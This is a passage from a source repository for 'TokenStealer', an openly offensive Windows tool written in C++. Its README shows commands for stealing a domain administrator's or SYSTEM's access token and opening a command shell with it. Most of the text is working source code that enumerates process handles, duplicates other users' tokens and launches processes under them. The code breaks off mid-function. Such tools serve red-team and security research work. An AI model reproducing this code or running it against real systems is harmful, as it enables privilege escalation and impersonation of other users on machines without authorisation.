├── .gitattributes
├── .gitignore
├── Capture.PNG
├── README.md
├── TokenStealer.cpp
├── TokenStealer.sln
├── TokenStealer.vcxproj
└── TokenStealer.vcxproj.filters
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/Capture.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/decoder-it/TokenStealer/bebb8d39b44a224ae6cdafa35d3b0fb64dd06896/Capture.PNG
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # TokenStealer
2 | A simple tool I wrote some time ago for stealing and playing with Windows tokens.
3 | Parts of code have been taken and adatpted from https://github.com/FSecureLABS/incognito
4 |
5 | Clearly, you will require Impersonation or AssignPrimary privilege and Debug privilege to access all processes.
6 | Typically, you would run the tool with the highest local privileges, such as SYSTEM.
7 |
8 | ```
9 | TokenStealer.exe
10 | [+] My personal simple and stupid Token Stealer... ;)
11 | [+] v1.0 @decoder_it 2023
12 |
13 | [!] Usage:
14 | -l: list all user's token
15 | -e: list all user's token with extended info -> [user]:[token_level (2)=Impersonation, (3)=Delegation,(P)=Primary>]:[pid]:[SessionId]
16 | -p: list/steal token from specfic process pid
17 | -u: list/steal token of user
18 | -c: command to execute with token
19 | -t: force use of impersonation Privilege
20 | -b: needed token type: 1=Primary,2=Impersonation,3=Delegation
21 | -s: list/steal token from specific Session ID
22 |
23 | =Examples=
24 |
25 | TokenStealer.exe -e -b 1
26 | -> list all primary tokens
27 |
28 | TokenStealer.exe -l -p 100
29 | -> list all tokens in process pid 100
30 |
31 | TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe
32 | -> steal token of the user and execute an interactive command shell using the AssingPrimary privilege if available
33 |
34 | TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\bind.bat -p 100 -t
35 | -> steal token of the user in process 100 and execute the batch file using Impersonation privilege instead of AssingPrimary
36 |
37 | TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -b 1
38 | -> steal a primary token of the user and execute an interactive command shell using the AssingPrimary privilege if available
39 |
40 | TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -s 2
41 | -> steal a token of the user in specific SessionID and execute an interactive command shell using the AssingPrimary privilege if available
42 |
43 | ```
44 |
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/TokenStealer.cpp:
--------------------------------------------------------------------------------
1 | // TokenStealer.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | #pragma comment(lib,"ntdll.lib")
12 | extern HANDLE hINPUT, hOUTPUT;
13 | #define NT_SUCCESS(x) ((x) >= 0)
14 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
15 | #define TOKEN_PRIMARY 1
16 | #define TOKEN_IMPERSONATION 2
17 | #define SystemHandleInformation 16
18 | #define ObjectBasicInformation 0
19 | #define ObjectNameInformation 1
20 | #define ObjectTypeInformation 2
21 | #pragma once
22 | #define DESKTOP_ALL (DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | \
23 | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | \
24 | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | \
25 | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | \
26 | DESKTOP_WRITEOBJECTS | DELETE | \
27 | READ_CONTROL | WRITE_DAC |\
28 | WRITE_OWNER)
29 | #define WINSTA_ALL (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | \
30 | WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | \
31 | WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | \
32 | WINSTA_READATTRIBUTES | WINSTA_READSCREEN | \
33 | WINSTA_WRITEATTRIBUTES | DELETE |\
34 | READ_CONTROL | WRITE_DAC | \
35 | WRITE_OWNER)
36 | #define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE |GENERIC_EXECUTE | GENERIC_ALL)
37 | void CreateProcessWithPipeComm(HANDLE token, wchar_t* command);
38 | BOOL HasAssignPriv = FALSE;
39 | BOOL Interactive = TRUE;
40 | wchar_t* User_to_impersonate = NULL;
41 | static int num = 0;
42 | int TokenTypeNeeded = 0;
43 | BOOL ForceImpersonation = FALSE;
44 | DWORD SessionId = -1;
45 | wchar_t WinStationName[256];
46 | wchar_t** TokenUsers = NULL; // Global ar\ray to store TokenUsers
47 | int num_TokenUsers = 0; // Number of TokenUsers currently in the array
48 | int max_TokenUsers = 0; // Maximum number of TokenUsers that can be stored in the array
49 | typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
50 | ULONG SystemInformationClass,
51 | PVOID SystemInformation,
52 | ULONG SystemInformationLength,
53 | PULONG ReturnLength
54 | );
55 | typedef NTSTATUS(NTAPI* _NtDuplicateObject)(
56 | HANDLE SourceProcessHandle,
57 | HANDLE SourceHandle,
58 | HANDLE TargetProcessHandle,
59 | PHANDLE TargetHandle,
60 | ACCESS_MASK DesiredAccess,
61 | ULONG Attributes,
62 | ULONG Options
63 | );
64 | typedef NTSTATUS(NTAPI* _NtQueryObject)(
65 | HANDLE ObjectHandle,
66 | ULONG ObjectInformationClass,
67 | PVOID ObjectInformation,
68 | ULONG ObjectInformationLength,
69 | PULONG ReturnLength
70 | );
71 |
72 | typedef struct _UNICODE_STRING
73 | {
74 | USHORT Length;
75 | USHORT MaximumLength;
76 | PWSTR Buffer;
77 | } UNICODE_STRING, * PUNICODE_STRING;
78 |
79 | typedef struct _SYSTEM_HANDLE
80 | {
81 | ULONG ProcessId;
82 | BYTE ObjectTypeNumber;
83 | BYTE Flags;
84 | USHORT Handle;
85 | PVOID Object;
86 | ACCESS_MASK GrantedAccess;
87 | } SYSTEM_HANDLE, * PSYSTEM_HANDLE;
88 |
89 | typedef struct _SYSTEM_HANDLE_INFORMATION
90 | {
91 | ULONG HandleCount;
92 | SYSTEM_HANDLE Handles[1];
93 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
94 |
95 | typedef enum _POOL_TYPE
96 | {
97 | NonPagedPool,
98 | PagedPool,
99 | NonPagedPoolMustSucceed,
100 | DontUseThisType,
101 | NonPagedPoolCacheAligned,
102 | PagedPoolCacheAligned,
103 | NonPagedPoolCacheAlignedMustS
104 | } POOL_TYPE, * PPOOL_TYPE;
105 |
106 | typedef struct _OBJECT_TYPE_INFORMATION
107 | {
108 | UNICODE_STRING Name;
109 | ULONG TotalNumberOfObjects;
110 | ULONG TotalNumberOfHandles;
111 | ULONG TotalPagedPoolUsage;
112 | ULONG TotalNonPagedPoolUsage;
113 | ULONG TotalNamePoolUsage;
114 | ULONG TotalHandleTableUsage;
115 | ULONG HighWaterNumberOfObjects;
116 | ULONG HighWaterNumberOfHandles;
117 | ULONG HighWaterPagedPoolUsage;
118 | ULONG HighWaterNonPagedPoolUsage;
119 | ULONG HighWaterNamePoolUsage;
120 | ULONG HighWaterHandleTableUsage;
121 | ULONG InvalidAttributes;
122 | GENERIC_MAPPING GenericMapping;
123 | ULONG ValidAccess;
124 | BOOLEAN SecurityRequired;
125 | BOOLEAN MaintainHandleCount;
126 | USHORT MaintainTypeList;
127 | POOL_TYPE PoolType;
128 | ULONG PagedPoolUsage;
129 | ULONG NonPagedPoolUsage;
130 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
131 |
132 | typedef struct _SYSTEM_PROCESS_INFO
133 | {
134 | ULONG NextEntryOffset;
135 | ULONG NumberOfThreads;
136 | LARGE_INTEGER Reserved[3];
137 | LARGE_INTEGER CreateTime;
138 | LARGE_INTEGER UserTime;
139 | LARGE_INTEGER KernelTime;
140 | UNICODE_STRING ImageName;
141 | ULONG BasePriority;
142 | HANDLE ProcessId;
143 | HANDLE InheritedFromProcessId;
144 | }SYSTEM_PROCESS_INFO, * PSYSTEM_PROCESS_INFO;
145 |
146 | PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName)
147 | {
148 | return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
149 | }
150 |
151 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
152 | {
153 | TOKEN_PRIVILEGES tp;
154 | LUID luid;
155 |
156 | if (!LookupPrivilegeValue(NULL, priv, &luid))
157 | {
158 | printf("Priv Lookup FALSE\n");
159 | return FALSE;
160 | }
161 |
162 | tp.PrivilegeCount = 1;
163 | tp.Privileges[0].Luid = luid;
164 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
165 | if (!AdjustTokenPrivileges(
166 | hToken,
167 | FALSE,
168 | &tp,
169 | sizeof(TOKEN_PRIVILEGES),
170 | (PTOKEN_PRIVILEGES)NULL,
171 | (PDWORD)NULL))
172 | {
173 | printf("Priv Adjust FALSE\n");
174 | return FALSE;
175 | }
176 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
177 |
178 | {
179 | //printf("The token does not have the specified privilege. \n");
180 | return FALSE;
181 | }
182 |
183 | return TRUE;
184 | }
185 | int GetTokenUser(HANDLE tok, wchar_t* SamAccount)
186 | {
187 | DWORD Size, UserSize, DomainSize;
188 | SID* sid;
189 | SID_NAME_USE SidType;
190 | TCHAR UserName[64], DomainName[64];
191 | //TCHAR SamAccount[128];
192 | TOKEN_USER* User;
193 | Size = 0;
194 | GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
195 | if (!Size)
196 | return FALSE;
197 |
198 | User = (TOKEN_USER*)malloc(Size);
199 | assert(User);
200 | assert(User);
201 | GetTokenInformation(tok, TokenUser, User, Size, &Size);
202 | assert(Size);
203 | Size = GetLengthSid(User->User.Sid);
204 | assert(Size);
205 | sid = (SID*)malloc(Size);
206 | assert(sid);
207 |
208 | CopySid(Size, sid, User->User.Sid);
209 | UserSize = (sizeof UserName / sizeof * UserName) - 1;
210 | DomainSize = (sizeof DomainName / sizeof * DomainName) - 1;
211 | LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
212 | free(sid);
213 |
214 | swprintf(SamAccount, 128, L"%s\\%s", DomainName, UserName);
215 |
216 |
217 | return 1;
218 | }
219 |
220 | int TokenLevel(HANDLE token, SECURITY_IMPERSONATION_LEVEL* ImpersonationLevel)
221 | {
222 |
223 |
224 | TOKEN_TYPE Type;
225 | DWORD returned_tokinfo_length;
226 | //SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
227 | *ImpersonationLevel = (SECURITY_IMPERSONATION_LEVEL)0;
228 | if (!GetTokenInformation(token, TokenType, &Type, sizeof(TOKEN_TYPE), &returned_tokinfo_length))
229 | return -1;
230 | if (Type == TokenPrimary)
231 | {
232 |
233 | return 1;
234 | }
235 | if (GetTokenInformation(token, TokenImpersonationLevel, ImpersonationLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &returned_tokinfo_length))
236 | {
237 |
238 |
239 | if (*ImpersonationLevel == SecurityDelegation)
240 | {
241 |
242 | return 2;
243 | }
244 | else
245 | return 2;
246 |
247 |
248 | }
249 | return -1;
250 |
251 | }
252 |
253 |
254 |
255 | int IsValidToken(HANDLE tok)
256 | {
257 | DWORD Size, UserSize, DomainSize;
258 | SID* sid;
259 | SID_NAME_USE SidType;
260 | TCHAR UserName[64], DomainName[64];
261 | TCHAR SamAccount[128];
262 | TOKEN_USER* User;
263 |
264 |
265 | Size = 0;
266 | GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
267 | if (!Size)
268 | return FALSE;
269 | //return 0;
270 | User = (TOKEN_USER*)malloc(Size);
271 | //assert(User);
272 | assert(User);
273 | GetTokenInformation(tok, TokenUser, User, Size, &Size);
274 | //assert(Size);
275 | Size = GetLengthSid(User->User.Sid);
276 | assert(Size);
277 | sid = (SID*)malloc(Size);
278 | assert(sid);
279 |
280 | CopySid(Size, sid, User->User.Sid);
281 |
282 | UserSize = (sizeof UserName / sizeof * UserName) - 1;
283 | DomainSize = (sizeof DomainName / sizeof * DomainName) - 1;
284 | LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
285 | free(sid);
286 | free(User);
287 |
288 | swprintf(SamAccount, 128, L"%s\\%s", DomainName, UserName);
289 |
290 |
291 | if (!_wcsicmp(SamAccount, User_to_impersonate))
292 | {
293 |
294 |
295 | return 1;
296 | }
297 | return 0;
298 |
299 | }
300 |
301 |
302 |
303 |
304 |
305 | int ExecuteWithToken(wchar_t* command, ULONG pid)
306 | {
307 | _NtQuerySystemInformation NtQuerySystemInformation =
308 | (_NtQuerySystemInformation)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQuerySystemInformation");
309 | _NtDuplicateObject NtDuplicateObject =
310 | (_NtDuplicateObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtDuplicateObject");
311 | _NtQueryObject NtQueryObject =
312 | (_NtQueryObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQueryObject");
313 | NTSTATUS status;
314 | PSYSTEM_HANDLE_INFORMATION handleInfo;
315 | ULONG handleInfoSize = 0x10000;
316 |
317 | HANDLE processHandle;
318 | ULONG i;
319 |
320 | STARTUPINFOW si;
321 | PROCESS_INFORMATION pi;
322 | BOOL b1, b2;
323 |
324 |
325 | HANDLE dupHandle = NULL;
326 | POBJECT_TYPE_INFORMATION objectTypeInfo;
327 |
328 |
329 |
330 | HANDLE pToken1, pToken2;
331 |
332 | BOOL success = FALSE;
333 | int deleg = 0;
334 | DWORD psessid = -1;
335 | SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
336 |
337 |
338 |
339 | ZeroMemory(&si, sizeof(STARTUPINFO));
340 | si.cb = sizeof(STARTUPINFO);
341 | if (User_to_impersonate == NULL)
342 | User_to_impersonate = (wchar_t*)L"NT AUTHORITY\\SYSTEM";
343 | if (!(processHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid)))
344 | {
345 | //printf("[-] Could not open PID %d %d!)\n", pid, GetLastError());
346 |
347 | return 0;
348 | }
349 | bool b = ProcessIdToSessionId(pid, &psessid);
350 | if (SessionId != -1)
351 | {
352 |
353 | if (!b || psessid != SessionId)
354 | return 0;
355 |
356 |
357 | }
358 |
359 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
360 | while ((status = NtQuerySystemInformation(
361 | SystemHandleInformation,
362 | handleInfo,
363 | handleInfoSize,
364 | NULL
365 | )) == STATUS_INFO_LENGTH_MISMATCH)
366 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
367 | if (!NT_SUCCESS(status))
368 | {
369 | printf("NtQuerySystemInformation failed!\n");
370 | return 0;
371 | }
372 | success = FALSE;
373 |
374 | for (i = 0; i < handleInfo->HandleCount; i++)
375 | {
376 | SYSTEM_HANDLE handle = handleInfo->Handles[i];
377 |
378 |
379 |
380 | if (DuplicateHandle(processHandle, (HANDLE)handle.Handle,
381 | GetCurrentProcess(), &dupHandle,
382 | MAXIMUM_ALLOWED, FALSE, 0x02) == FALSE)
383 | {
384 | //printf("[-] Error Dup Handle!%d\n", GetLastError());
385 |
386 | continue;
387 | }
388 |
389 |
390 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
391 | if (!NT_SUCCESS(NtQueryObject(
392 | dupHandle,
393 | ObjectTypeInformation,
394 | objectTypeInfo,
395 | 0x1000,
396 | NULL
397 | )))
398 | {
399 | //printf("[-] Error NtQueryObject %d!\n",GetLastError());
400 |
401 | CloseHandle(dupHandle);
402 | continue;
403 | }
404 |
405 | if (!wcsncmp(objectTypeInfo->Name.Buffer, L"Token", objectTypeInfo->Name.Length / 2))
406 | {
407 |
408 |
409 | if (IsValidToken((HANDLE)dupHandle))
410 | {
411 |
412 | int tl = TokenLevel(dupHandle, &ImpersonationLevel);
413 | if (tl == -1)
414 | continue;
415 | if (TokenTypeNeeded == TOKEN_PRIMARY && tl != TOKEN_PRIMARY)
416 | continue;
417 |
418 | if(TokenTypeNeeded >1)
419 | {
420 | if (ImpersonationLevel != TokenTypeNeeded)
421 | {
422 |
423 |
424 | continue;
425 | }
426 | }
427 | if (tl == TOKEN_PRIMARY)
428 | printf("[+] Got %S Primary Token in pid: %d\n", User_to_impersonate, pid);
429 | else
430 | printf("[+] Got %S Impersonation Token in pid: %d with Impersonation Level: %d %s\n", User_to_impersonate, pid, ImpersonationLevel, ImpersonationLevel > 1 ? "OK" : "KO");
431 | if (ImpersonationLevel > SecurityIdentification || tl == TOKEN_PRIMARY)
432 | {
433 | if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken1))
434 | {
435 | printf("[-] Error duplicating Primary Token:%d\n", GetLastError());
436 | break;
437 |
438 | }
439 | if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &pToken2))
440 | {
441 | printf("[-] Error duplicating ImpersonationToken:%d\n", GetLastError());
442 | break;
443 |
444 | }
445 |
446 |
447 |
448 | if (HasAssignPriv && !ForceImpersonation)
449 | {
450 |
451 | printf("[*] Token has SE_ASSIGN_PRIMARY_NAME, using CreateProcessAsUser() for launching: %S\n", command);
452 | b1 = CreateProcessAsUserW(
453 | pToken1, // client's access token
454 | NULL, // file to execute
455 | command, // command line
456 | NULL, // pointer to process SECURITY_ATTRIBUTES
457 | NULL, // pointer to thread SECURITY_ATTRIBUTES
458 | FALSE, // handles are not inheritable
459 | 0, // creation flags
460 | NULL, // pointer to new environment block
461 | NULL, // name of current directory
462 | &si, // pointer to STARTUPINFO structure
463 | &pi // receives information about new process
464 | );
465 |
466 | //debug
467 | printf("[*] Result: %s %d\n", b1 ? "TRUE" : "FALSE", GetLastError());
468 | WaitForSingleObject(pi.hProcess, INFINITE);
469 | if (b1)
470 | {
471 | success = TRUE;
472 | break;
473 | }
474 |
475 |
476 | }
477 | else
478 | {
479 | printf("[*] Token does NOT have SE_ASSIGN_PRIMARY_NAME, using CreateProcessAsWithToken() for launching: %S\n", command);
480 |
481 |
482 | //RevertToSelf();
483 |
484 | b2 = CreateProcessWithTokenW(pToken2,
485 | 0,
486 | NULL,
487 | command,
488 | CREATE_NO_WINDOW,
489 | NULL,
490 | NULL,
491 | &si,
492 | &pi);
493 | //debug
494 | printf("[*] Result: %s (%d)\n", b2 ? "TRUE" : "FALSE", GetLastError());
495 | if (b2)
496 | {
497 | success = TRUE;
498 | break;
499 | }
500 |
501 |
502 |
503 | }
504 | }
505 | }
506 | }
507 | free(objectTypeInfo);
508 | CloseHandle(dupHandle);
509 |
510 | }
511 |
512 | free(handleInfo);
513 | CloseHandle(processHandle);
514 |
515 | return success;
516 | }
517 | int compare_strings(const void* a, const void* b) {
518 | return wcscmp(*(const wchar_t**)a, *(const wchar_t**)b);
519 | }
520 | void add_string(wchar_t* new_string) {
521 | // Check if the string is already in the array
522 | for (int i = 0; i < num_TokenUsers; i++) {
523 | if (wcscmp(TokenUsers[i], new_string) == 0) {
524 | // String is already in the array, so return without adding it again
525 | return;
526 | }
